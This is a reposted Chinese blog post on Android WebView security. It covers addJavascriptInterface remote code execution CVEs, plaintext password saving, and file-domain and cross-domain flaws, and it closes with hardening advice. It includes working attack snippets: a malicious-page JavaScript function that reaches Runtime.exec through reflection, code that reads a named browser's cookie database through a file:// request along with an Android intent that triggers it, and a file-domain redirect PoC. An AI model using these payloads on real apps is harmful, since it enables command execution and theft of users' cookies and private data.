Android安全开发之WebView中的地雷

mjodan 8年前
   <h2><strong>0X01 About WebView</strong></h2>    <p>在Android开发中,经常会使用WebView来实现WEB页面的展示,在Activiry中启动自己的浏览器,或者简单的展示一些在线内容等。WebView功能强大,应用广泛,但它是天使与恶魔的合体,一方面它增强了APP的上网体验,让APP功能更多样化,另一方面它也引入了很多的安全问题。在过去几年WebView中被披露的重大漏洞包括了任意代码执行漏洞、跨域、密码明文保存等,这些安全问题可以直接导致用户敏感信息泄露,移动终端被恶意攻击者控制。下文将详细介绍这一系列安全问题,罗列相关的一些案列,并提供相应安全开发建议。</p>    <h2><strong>0X02 WebView任意代码执行漏洞</strong></h2>    <p>已知的WebView任意代码执行漏洞有4个。较早被公布是CVE-2012-6636,揭露了WebView中addJavascriptInterface接口会引起远程代码执行漏洞。接着是CVE-2013-4710,针对某些特定机型会存在addJavascriptInterface</p>    <p>API引起的远程代码执行漏洞。之后是CVE-2014-1939爆出WebView中内置导出的“searchBoxJavaBridge_”Java Object可能被利用,实现远程任意代码。再后来是CVE-2014-7224,类似于CVE-2014-1939,WebView内置导出“accessibility”和“accessibilityTraversal”两个Java Object接口,可被利用实现远程任意代码执行。</p>    <p>后文我们将围绕下面这段常见的示例代码展开:</p>    <p>WebView mWebView =(WebView)findViewById(R.id.webView);</p>    <p>①WebSettingsmsetting = mWebView.getSettings();</p>    <p>②msetting.setJavaScriptEnabled(true);</p>    <p>③mWebView.addJavascriptInterface(new TestAddJsInterface(),"myjs");</p>    <p>④mWebView.loadUrl(getIntent().getStringExtra("url"));</p>    <p><strong>CVE-2012-6636</strong></p>    <p>Android系统为了方便APP中Java代码和网页中的Javascript脚本交互,在WebView控件中实现了addJavascriptInterface接口,对应示例代码中的 <strong>③,</strong> 网页中的JS脚本可以利用接口“myjs”调用App中的Java代码,而Java对象继承关系会导致很多Public的函数及getClass函数都可以在JS中被访问,结合Java的反射机制,攻击者还可以获得系统类的函数,进而可以进行任意代码执行。漏洞在2013年8月被披露后,很多APP都中招,其中浏览器APP成为重灾区。但截至目前任有很多APP中依然存在此漏洞,与以往不同的只是攻击入口发生了一定的变化。另外我们也发现一些小厂商的APP开发团队因为缺乏安全意识,依然还在APP中随心所欲的使用addjs接口,明目张胆踩雷。</p>    <p>出于安全考虑,Google在API 17中规定允许被调用的函数必须以@JavascriptInterface进行注解,理论上如果APP依赖的API为17或者以上,就不会受该问题的影响。但部分机型上,API 17依然受影响,并且如果APP存在此漏洞,且targetsdk小于17,那漏洞的影响可以覆盖到android4.4的终端,如果大于等于17,只能在android4.2的机型上触发,所以前一种情况的危害目前来看依旧很大。</p>    <p><strong>CVE-2014-1939</strong></p>    <p>在2014年发现在Android4.4以下的系统中,webkit中默认内置了“searchBoxJavaBridge_”, 代码位于“java/android/webkit/BrowserFrame.java”,该接口同样存在远程代码执行的威胁。</p>    <p><strong>CVE-2014-7224</strong></p>    <p>在2014年,研究人员Daoyuan Wu和Rocky Chang发现,当系统辅助功能服务被开启时,在Android4.4以下的系统中,由系统提供的WebView组件都默认导出"accessibility"和"accessibilityTraversal"这两个接口,代码位于“android/webkit/AccessibilityInjector.java”,这两个接口同样存在远程任意代码执行的威胁。</p>    <p><strong>常见挂马页面</strong></p>    <p>function addJsHack(cmdArgs){</p>    <p>for (var obj in window)</p>    <p>{ try {</p>    <p>if ("getClass" inwindow[obj]) {</p>    <p>try{</p>    <p>window[obj].getClass().forName("java.lang.Runtime").</p>    <p>getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);;</p>    <p>}catch(e){</p>    <p>}</p>    <p>}</p>    <p>} catch(e) {</p>    <p>}</p>    <p>}</p>    <p>}</p>    <p>addJsHack()</p>    <p><strong>扫码攻击</strong></p>    <p>图片来自于某漏洞收集平台,通过二维码扫描触发WebView任意代码执行漏洞:</p>    <p><img src="https://simg.open-open.com/show/b25500e5056ed67de8a9724b5d77571c.png"></p>    <p>以聚美优品为例Ver 3.305,APK MD5:DD8B00EDA393526F66D25CA16E8C7B5C,相关代码位于com.jm.android.jumei.controls.JuMeiCustomWebView.java中:</p>    <p>publicvoid initWebView(Activity activity, String str, LinearLayout linearLayout,IWebViewNotify iWebViewNotify) {</p>    <p>......</p>    <p>this.wapView.addJavascriptInterface(newWebAppJSInterface(), WEBVIEW_JS_INTERFACE_NAME);</p>    <p>}</p>    <p>0X03 WebView密码明文存储漏洞</p>    <p>WebView默认开启密码保存功能mWebView.setSavePassword(true),如果该功能未关闭,在用户输入密码时,会弹出提示框,询问用户是否保存密码,如果选择"是",密码会被明文保到/data/data/com.package.name/databases/webview.db</p>    <p style="text-align: center;"><img src="https://simg.open-open.com/show/4b92cf0687f5206c64f4d2edb57e4c8b.jpg"></p>    <h2><strong>0X04 WebView域控制不严格漏洞</strong></h2>    <p><strong>setAllowFileAccess</strong></p>    <p>Android中默认mWebView.setAllowFileAccess(true),在File域下,能够执行任意的JavaScript代码,同源策略跨域访问能够对私有目录文件进行访问等。APP对嵌入的WebView未对file:///形式的URL做限制,会导致隐私信息泄露,针对IM类软件会导致聊天信息、联系人等等重要信息泄露,针对浏览器类软件,则更多的是cookie信息泄露。</p>    <p><strong>setAllowFileAccessFromFileURLs</strong></p>    <p>在JELLY_BEAN以前的版本默认是setAllowFileAccessFromFileURLs(true),允许通过file域url中的Javascript读取其他本地文件,在JELLY_BEAN及以后的版本中默认已被是禁止。</p>    <p><strong>setAllowUniversalAccessFromFileURLs</strong></p>    <p>在JELLY_BEAN以前的版本默认是setAllowUniversalAccessFromFileURLs(true),允许通过file域url中的Javascript访问其他的源,包括其他的本地文件和http,https源的数据。在JELLY_BEAN及以后的版本中默认已被禁止。</p>    <p>360手机浏览器缺陷可导致用户敏感数据泄漏</p>    <p>以360手机浏览器4.8版本为例,由于未对file域做安全限制,恶意APP调用360浏览器加载本地的攻击页面(比如恶意APP释放到SDCARD上的一个HTML)后,就可以获取360手机浏览器下的所有私有数据,包括webviewCookiesChromium.db下的cookie内容,攻击页面关键代码:</p>    <p>functiongetDatabase() {</p>    <p>var request = false;</p>    <p>if(window.XMLHttpRequest) {</p>    <p>request = new XMLHttpRequest();</p>    <p>if(request.overrideMimeType) {</p>    <p>request.overrideMimeType('text/xml');</p>    <p>}</p>    <p>}</p>    <p>xmlhttp = request;</p>    <p>var prefix = "file:////data/data/com.qihoo.browser/databases";</p>    <p>var postfix = "/webviewCookiesChromium.db"; //取保存cookie的db</p>    <p>var path = prefix.concat(postfix);</p>    <p>//获取本地文件代码</p>    <p>xmlhttp.open("GET", path, false);</p>    <p>xmlhttp.send(null);</p>    <p>var ret = xmlhttp.responseText;</p>    <p>return ret;</p>    <p>}</p>    <p>漏洞利用代码:</p>    <p>copyFile();</p>    <p>//自定义函数,释放filehehe.html到sd卡上</p>    <p>String url= "file:///mnt/sdcard/filehehe.html";</p>    <p>IntentcontIntent = new Intent();</p>    <p>contIntent.setAction("android.intent.action.VIEW");</p>    <p>contIntent.setData(Uri.parse(url));</p>    <p>Intentintent = new Intent();</p>    <p>intent.setClassName("com.qihoo.browser","com.qihoo.browser.BrowserActivity");</p>    <p>intent.setAction("android.intent.action.VIEW");</p>    <p>intent.setData(Uri.parse(url));</p>    <p>this.startActivity(intent);</p>    <h2><strong>0X05 WebView file跨域漏洞</strong></h2>    <p>Android 2.3 webkit或者浏览器APP自建内核中会存在此类跨域漏洞。在处理转跳时存在漏洞,导致允许从http域跨向file域,实现跨域漏洞。以某浏览器4.5.0.511版本为例,写一个html,命名为filereach.html,存放在服务器上。该浏览器4.5.0.511的X5内核存在http域跨file域的漏洞。POC代码如下所示:</p>    <p>function init(){</p>    <p>f.location = "file:///default.prop";</p>    <p>}</p>    <p>setTimeout(init,5000)</p>    <p>在浏览器中打开服务器上的filereach.html,将从http域跳转到file域</p>    <h2><strong>0X06安全开发建议</strong></h2>    <p>1)使用腾讯御安全类漏洞扫描工具进行基础开发漏洞检测定位;</p>    <p>2)建议开发者通过以下方式移除该JavaScript接口:</p>    <p>removeJavascriptInterface("searchBoxJavaBridge_")</p>    <p>removeJavascriptInterface("accessibility");</p>    <p>removeJavascriptInterface("accessibilityTraversal")</p>    <p>3)出于安全考虑,为了防止Java层的函数被随便调用,Google在4.2版本之后,规定允许被调用的函数必须以@JavascriptInterface进行注解</p>    <p>4)通过WebSettings.setSavePassword(false)关闭密码保存提醒功能</p>    <p>5)通过以下设置,防止越权访问,跨域等安全问题:</p>    <p>setAllowFileAccess(false)</p>    <p>setAllowFileAccessFromFileURLs(false)</p>    <p>setAllowUniversalAccessFromFileURLs(false)</p>    <h2><strong>0X07参考信息</strong></h2>    <p><a href="/misc/goto?guid=4959714464784128708" rel="nofollow,noindex">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-6636</a></p>    <p><a href="/misc/goto?guid=4959714464886806883" rel="nofollow,noindex">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4710</a></p>    <p><a href="/misc/goto?guid=4959714464963954314" rel="nofollow,noindex">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1939</a></p>    <p><a href="/misc/goto?guid=4959714465051330759" rel="nofollow,noindex">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7224</a></p>    <p><a href="/misc/goto?guid=4959714465135392726" rel="nofollow,noindex">http://drops.wooyun.org/webview.html</a></p>    <p> </p>    <p> </p>    <p>来自:http://www.jianshu.com/p/9f7e9ab8d2fa</p>    <p> </p>